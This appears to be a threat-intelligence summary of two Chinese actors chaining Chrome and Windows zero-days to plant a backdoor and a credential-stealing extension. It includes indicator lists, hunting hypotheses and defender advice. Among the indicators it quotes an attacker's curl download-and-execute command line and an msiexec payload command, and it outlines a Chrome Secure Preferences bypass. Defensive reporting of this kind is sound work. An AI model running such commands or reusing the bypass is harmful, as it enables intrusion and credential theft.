7 mincritical
Mind the (Patch) Gap: Multiple Chinese Threat Actors Chain 0-day Exploits in Chrome & Windows
Two Chinese threat actors, UTA0560 and JungleBamboo, exploited a Chrome patch-gap zero-day chain (CVE-2026-85046, CVE-2026-85880) to deploy GRIMWEDGE backdoor and LONGTALE credential-stealing extension. UTA0560 and JungleBamboo exploited a Chrome V8 type confusion (CVE-2026-85046) and Windows kernel LPE (CVE-2026-85880) using identical shellcode. UTA0560 deployed GRIMWEDGE JScript backdoor via DLL sideloading. JungleBamboo deployed LONGTALE Chrome extension via SUPERSTOMP loader, bypassing Chrome Secure Preferences.
Sens:■ Immediate
IOCs27
13sha2564domain3cve3url2file path1email1ip
Detection / Hunteropenrouter
Immediate Actions
defender takeaway
- Update Google Chrome to the latest version immediately.
- Block all listed C2 domains and IPs at firewall and proxy.
- Isolate and investigate hosts contacting cloud.shinewrist.net or gitprogram.com.
- Hunt for scheduled task 'Windows Scheduled System' across endpoints.
Key Takeaways
- Exploit chain leveraged a patch gap: Chrome source was fixed, but no stable release contained the patch.
- UTA0560 used financial lures targeting NGOs, deploying GRIMWEDGE via msgbox.exe and wsc.dll sideloading.
- JungleBamboo deployed LONGTALE Chrome extension masquerading as Google Gemini to steal credentials.
- SUPERSTOMP loader bypasses Chrome Secure Preferences by removing encrypted hashes and forging legacy HMACs.
- GRIMWEDGE backdoor operates entirely in memory via msiexec.exe, executing eval'd JScript from C2.
Attack Chain
- Initial Access: Spear-phishing emails deliver links abusing reflected XSS on legitimate sites to redirect to exploit infrastructure.
- Exploitation: Chrome V8 type confusion (CVE-2026-85046) and WebAssembly bug (CVE-2026-87491) escape V8 sandbox.
- Privilege Escalation: Windows kernel LPE (CVE-2026-85880) escapes Chrome renderer sandbox.
- Defense Evasion: SUPERSTOMP tampers with Chrome Secure Preferences to install LONGTALE extension.
- Persistence: GRIMWEDGE creates scheduled task 'Windows Scheduled System' running every 5 minutes.
- C2: GRIMWEDGE beacons to ocr.opusaccel.top; LONGTALE exfiltrates data to gitprogram.com infrastructure.
Affected Systems
- Google Chrome (pre-patch release)
- Windows 10 (1809 through 22H2)
- Windows 11 (21H2)
- Windows Server 2022
Vulnerabilities (CVEs)
| CVE | Product | Severity | Description |
|---|---|---|---|
| CVE-2026-85046 | Google Chrome V8 JavaScript Engine | High | Type confusion bug enabling arbitrary read/write within the V8 sandbox. |
| CVE-2026-87491 | Chrome WebAssembly | High | WebAssembly defect used to escape the V8 sandbox. |
| CVE-2026-85880 | Windows Kernel (RtlpCreateServerAcl) | High | Kernel LPE allowing escape from Chrome sandboxed renderer process. |
Detection Availability
No detection rules or queries are published in the source article.
Detection Engineering Assessment
Hypotheses are starting points derived from the article, not findings about your environment; validate against your own telemetry.
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | Medium | Process injection and scheduled task creation visible, but in-memory JScript execution via msiexec is stealthy. |
| Network Visibility | High | C2 beacons to known domains over HTTPS; per-host URL patterns are distinctive. |
| Detection Difficulty | Hard | Exploit runs in Web Worker; in-memory eval'd JScript and Chrome extension tampering are stealthy. |
Hunting Hypotheses
| Hypothesis | Telemetry | Stage | FP Risk |
|---|---|---|---|
| Hunt for msiexec.exe making outbound HTTPS connections to rare domains (T1218.007). | Process network connections | Execution | Low — msiexec rarely makes direct HTTPS connections |
| Hunt for scheduled tasks named 'Windows Scheduled System' running every 5 minutes (T1053.005). | Scheduled task creation events | Persistence | Low — specific task name and interval |
| Hunt for curl.exe downloaded and executed by Chrome browser process (T1203). | Process creation and parent-child relationships | Execution | Medium — legitimate downloads possible but rare from browser |
Required Log Sources
- DNS logs
- HTTP/S proxy logs
- Process creation logs (EID 4688)
- Scheduled Task logs
- Chrome extension install logs
Key Behavioral Indicators
- msiexec.exe spawning from wsc.dll or msgbox.exe
- Chrome browser process spawning cmd.exe with curl download
- Scheduled task 'Windows Scheduled System' created by non-system account
- msiexec.exe making outbound HTTPS to ocr.opusaccel.top
- Chrome extension installed outside of Chrome Web Store
Control Gaps
- Chrome Secure Preferences tampering may not be monitored by EDR
- In-memory JScript execution via msiexec evades file-based scanning
- Exploit running in Web Worker isolates crashes from user visibility
False Positive Assessment
Low — specific C2 domains, scheduled task names, and extension IDs are highly distinctive and unlikely to appear in benign activity.
Recommendations
Suggestions to evaluate against your own environment, tooling, and incident-response procedures — not directives.
Infrastructure Hardening
- Enforce Chrome browser updates via centralized management.
- Block unauthorized Chrome extension installs via enterprise policy.
- Monitor DNS for queries to opusaccel.top and shinewrist.net.
- Inspect Cloudflare Tunnel configurations for rogue endpoints.
User Protection
- Warn users about phishing emails with donation or academic misconduct lures.
- Block emails from senders [email protected] and [email protected].
- Enable Chrome's enhanced protection mode for phishing and malware.
Security Awareness
- Train staff to report unsolicited emails with links to external sites.
- Reinforce that legitimate organizations rarely request credentials via email links.
MITRE ATT&CK Mapping
MITRE ATT&CK Mapping15 techniques
Tactic
Initial Access
Tactic
Persistence
Tactic
Privilege Escalation
Tactic
Stealth
Tactic
Defense Impairment
Tactic
Collection
Tactic
Exfiltration
Plain-Language Summary
Two Chinese hacking groups used a flaw in the Google Chrome browser that was known but not yet fixed in the version people use. They tricked people into clicking links that secretly installed malicious software. One group targeted non-profit organizations to spy on them and steal files. The other group installed a fake browser extension that stole passwords and login cookies. Organizations should update Chrome immediately and check for the malicious domains and files mentioned in the report.
Additional IOCs
- File Hashes:
d17053557bb90298f7b115432b4820a248fdbe678bca31721529b1f51a82343b(SHA256) - UTA0560 Files1.html exploit landing page337b48c1cd6dd6e7b8073327082a60e149517fa084ba17b180e041fffa3b130d(SHA256) - UTA0560 react.min.js obfuscated loader7a52ff23949edee8faa61ce0def6dbca8b7e5943c54d23376cc190762ea3985c(SHA256) - Shared page.html Chrome V8 exploitcd0c21f9b32b7feeda1787fccab622dec60ecdf84c0538c08bde3946856b0fa0(SHA256) - Shared p1 host recon shellcodeb7b0cd6539464ab39c6526e499f86d611faa21c5af945535ebaf187cec543af1(SHA256) - Shared p1 recon DLL5995f42a828606705a7339d58a665c229936e81c4e539cdfa115eb46a2eb53d6(SHA256) - Shared p2 Windows kernel LPE shellcode51462a23ac25e1bd0e49b7cae7f3a71f8d2201e22d45175b587e4740b49863cc(SHA256) - Shared p2 kernel LPE DLL3b71d721c39fad92a44ddd764bbb34afeae44a5db886d0a4827a399a5fbd367f(SHA256) - UTA0560 wsc.dll sideloaded DLL56eda0ac82e06ee609b034306025e67df161c5877399c305c8eaea136e80c951(SHA256) - UTA0560 Temp.txt MSI payload59dc108e22cb856c228bbf8a1ab955fb66f0844a07fe10fa0d9fc3823d2cbbcb(SHA256) - UTA0560 GRIMWEDGE JScript backdoore2a59432ce2b0d83ded936374a11fca3d3defaf4aab90eb37fca58683eae32c0(SHA256) - JungleBamboo msgbox.exe (SUPERSTOMP loader)5eb5645511b00e4f4d73125654eeb3a3930fcf09c65685dc7f03f725331492e3(SHA256) - JungleBamboo LONGTALE Chrome extension
- File Paths:
%TEMP%\msgbox.exe- UTA0560 GRIMWEDGE loader dropped to disk%TEMP%\Temp.txt- UTA0560 MSI payload written by wsc.dll
- Command Lines:
- Purpose: Download and execute next-stage loader via curl | Tools:
cmd.exe,curl| Stage: Exploitation |cmd.exe /c curl -f -sS -o "%TEMP%\msgbox.exe" - Purpose: Execute MSI payload via msiexec | Tools:
msiexec.exe| Stage: Persistence |msiexec /i
- Purpose: Download and execute next-stage loader via curl | Tools:
- Other:
Windows Scheduled System- Scheduled task name for GRIMWEDGE persistenceckiknalbeplpcpofpnabcnhjcegckfei- LONGTALE Chrome extension ID
Showing defanged values
- cveCVE-2026-85046Type confusion bug enabling arbitrary read/write within the V8 sandbox.
- cveCVE-2026-85880Kernel LPE allowing escape from Chrome sandboxed renderer process.
- cveCVE-2026-87491WebAssembly defect used to escape the V8 sandbox.
- domaincloud[.]shinewrist[.]netUTA0560 C2 and exploit hosting
- domaingitprogram[.]comJungleBamboo phishing and C2 infrastructure
- domainmsbenefit[.]comJungleBamboo phishing infrastructure
- domainocr[.]opusaccel[.]topUTA0560 GRIMWEDGE backdoor C2
- emailircribbin77[@]hotmail[.]comUTA0560 phishing sender
- file_path%TEMP%\msgbox.exeUTA0560 GRIMWEDGE loader dropped to disk
- file_path%TEMP%\Temp.txtUTA0560 MSI payload written by wsc.dll
- ip206[.]166[.]251[.]164UTA0560 hosting for cloud.shinewrist.net
- sha256337b48c1cd6dd6e7b8073327082a60e149517fa084ba17b180e041fffa3b130dUTA0560 react.min.js obfuscated loader
- sha2563b71d721c39fad92a44ddd764bbb34afeae44a5db886d0a4827a399a5fbd367fUTA0560 wsc.dll sideloaded DLL
- sha25651462a23ac25e1bd0e49b7cae7f3a71f8d2201e22d45175b587e4740b49863ccShared p2 kernel LPE DLL
- sha25656eda0ac82e06ee609b034306025e67df161c5877399c305c8eaea136e80c951UTA0560 Temp.txt MSI payload
- sha2565995f42a828606705a7339d58a665c229936e81c4e539cdfa115eb46a2eb53d6Shared p2 Windows kernel LPE shellcode
- sha25659dc108e22cb856c228bbf8a1ab955fb66f0844a07fe10fa0d9fc3823d2cbbcbUTA0560 GRIMWEDGE JScript backdoor
- sha2565eb5645511b00e4f4d73125654eeb3a3930fcf09c65685dc7f03f725331492e3JungleBamboo LONGTALE Chrome extension
- sha25669c1603f3f9015beb0097d0a3bb0f17400c314e2eae65a7eceacd3b93ea570dcUTA0560 msgbox.exe (GRIMWEDGE loader)
- sha2567a52ff23949edee8faa61ce0def6dbca8b7e5943c54d23376cc190762ea3985cShared page.html Chrome V8 exploit
- sha256b7b0cd6539464ab39c6526e499f86d611faa21c5af945535ebaf187cec543af1Shared p1 recon DLL
- sha256cd0c21f9b32b7feeda1787fccab622dec60ecdf84c0538c08bde3946856b0fa0Shared p1 host recon shellcode
- sha256d17053557bb90298f7b115432b4820a248fdbe678bca31721529b1f51a82343bUTA0560 Files1.html exploit landing page
- sha256e2a59432ce2b0d83ded936374a11fca3d3defaf4aab90eb37fca58683eae32c0JungleBamboo msgbox.exe (SUPERSTOMP loader)
- urlhxxps://photos[.]msbenefit[.]com/fa/t3JungleBamboo phishing URL (September 1)
- urlhxxps://proof[.]gitprogram[.]com/a4/j8JungleBamboo phishing URL (September 2)
- urlhxxps://xyz0102[.]gitprogram[.]com/a001JungleBamboo LONGTALE extension download
Related
Stay currentSubscribe via RSS
